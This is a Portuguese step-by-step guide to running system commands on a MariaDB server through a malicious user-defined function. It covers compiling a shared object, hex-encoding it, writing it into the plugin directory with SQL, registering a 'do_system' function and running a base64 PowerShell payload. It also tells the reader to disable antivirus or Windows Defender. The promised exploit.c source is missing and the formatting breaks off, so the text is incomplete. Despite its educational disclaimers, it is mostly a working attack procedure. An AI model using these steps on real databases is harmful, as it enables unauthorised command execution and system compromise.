
Execução de código autenticada em banco de dados
Este guia fornece instruções passo a passo para reproduzir um ataque de Função Definida pelo Usuário (UDF) em um sistema de banco de dados. Observe que este exploit pode funcionar em alguns sistemas, mas pode não funcionar corretamente em arquiteturas de 64 bits ou em determinadas compilações.
Aviso: Este conteúdo é apenas para fins educacionais. O uso não autorizado dessas técnicas é ilegal e antiético.
Primeiro, crie um arquivo chamado exploit.c e adicione o seguinte código:
### 2. Compilar o código da UDF
Compile o código do exploit usando o compilador `x86_64-w64-mingw32-gcc`:
```bash
x86_64-w64-mingw32-gcc -g -c exploit.c
Gere um arquivo de objeto compartilhado (exploit.so) a partir do arquivo de objeto compilado:
x86_64-w64-mingw32-gcc -g -shared -Wl,-soname,exploit.so -o exploit.so exploit.o
Use o xxd para converter o arquivo .so em um formato hexadecimal:
xxd -p exploit.so | tr -d '\n' > hex_value.txt
Copie o valor hexadecimal de hex_value.txt e execute o seguinte comando em seu banco de dados:
DB> set @shell = 0x<hex_value>;
Encontre o diretório de plugins executando:
DB> select @@plugin_dir;
Em seguida, crie o objeto compartilhado do exploit no diretório de plugins:
DB> select binary @shell into dumpfile 'C:\\Program Files\\MariaDB 11.1\\lib\\plugin\\exploit.so';
Nota: Ajuste o caminho de acordo com a configuração do seu sistema ou com o diretório de plugins específico.
Crie uma nova função no banco de dados usando o exploit:
DB> create function do_system returns integer soname 'exploit.so';
Desative qualquer antivírus ou o Windows Defender que possa bloquear o exploit. Em seguida, execute um comando usando a função recém-criada:
DB> select do_system('powershell base64 here');
Substitua 'powershell base64 here' pelo payload codificado em base64 do comando que você deseja executar.
Aviso legal: Este documento destina-se apenas a fins educacionais e de pesquisa em segurança. O uso indevido dessas informações pode resultar em acusações criminais e penalidades legais severas. Sempre obtenha permissão das autoridades competentes antes de testar qualquer vulnerabilidade em uma rede ou sistema.